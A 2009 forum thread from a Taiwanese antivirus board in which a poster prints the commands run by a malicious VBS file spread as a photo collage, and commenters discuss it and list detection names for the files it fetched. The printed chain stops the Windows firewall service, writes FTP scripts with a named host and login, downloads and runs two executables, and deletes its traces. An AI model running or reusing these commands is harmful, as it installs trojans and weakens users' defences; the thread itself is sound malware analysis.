› 看板 AntiVirus 關於我們 聯絡資訊
作者junorn (威廉華勒斯)
看板AntiVirus
標題Re: [閒聊] 我把你的照片拼裝成這樣啦
時間Thu Oct 15 01:16:09 2009
vbs他執行的內容 cmd /c net stop sharedaccess echo o www.g03z.com>i.txt echo aa33>>i.txt echo bb33>>i.txt echo get d d.exe>>i.txt echo bye>>i.txt ftp -s:i.txt del i.txt d.exe echo o www.g03z.com>u.txt echo aa33>>u.txt echo bb33>>u.txt echo get s s.exe>>u.txt echo bye>>u.txt ftp -s:u.txt s.exe del u.txt del ?.vbs del s.exe d.exe start hxxp://tw.match.yahoo.com/ del ? ?.bat 帳密都有囉..不要幹壞事. -- 無論何時都是盡頭 一定逃不了 讓天空的鳥 背著哀傷逃走嗎 這裡是假縫 永遠把我束縛 無論是來與往 也已經逝去 那就是夢 -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 218.167.75.236
推 TypeZero:目錄都空了＠＠ 10/15 01:51
推 SDUM:http://tw.match.yahoo.com/，這個沒問題，病毒假裝的 10/15 07:30
推 SDUM:請問，停止sharedaccess服務，有何功能？ 10/15 07:34
→ junorn:To SDUM:和防火牆有關的樣子，停了可能防火牆部分功能會失 10/15 08:17
→ junorn:效 10/15 08:17
→ junorn:To 版主: 那個FTP有加權限，只能照他的下載東西而已 10/15 08:18
→ junorn:補充: 防火牆指內建的 10/15 08:21
→ junorn:不知道用 get 有沒有 * 這樣一次全下的方式 10/15 08:24
推 KarasuTW:單字母的有 d r s t 這四個檔案 10/15 10:08
→ KarasuTW:d → DR/Delphi.Gen [dropper] 10/15 10:08
→ KarasuTW:r → VBS/Dldr.Agent.AJ [virus] 10/15 10:08
→ KarasuTW:s → TR/Dropper.Gen [trojan] 10/15 10:09
→ KarasuTW:t → VBS/Goez.A [virus] 10/15 10:09
推 TypeZero:原來有家權限，難怪不給我傳動畫上去＝.＝ 10/15 11:10
推 KarasuTW:XDDDD 想說多個免空用嗎 10/15 11:15
推 TypeZero:嗯呀 到時候可以讓鄉民們來用XD 貼到FREE_BOX 10/15 19:19
推 oscar60111:原來是加權限 @@" 我以為是檔案設為隱藏 本端會看不到. 10/15 21:53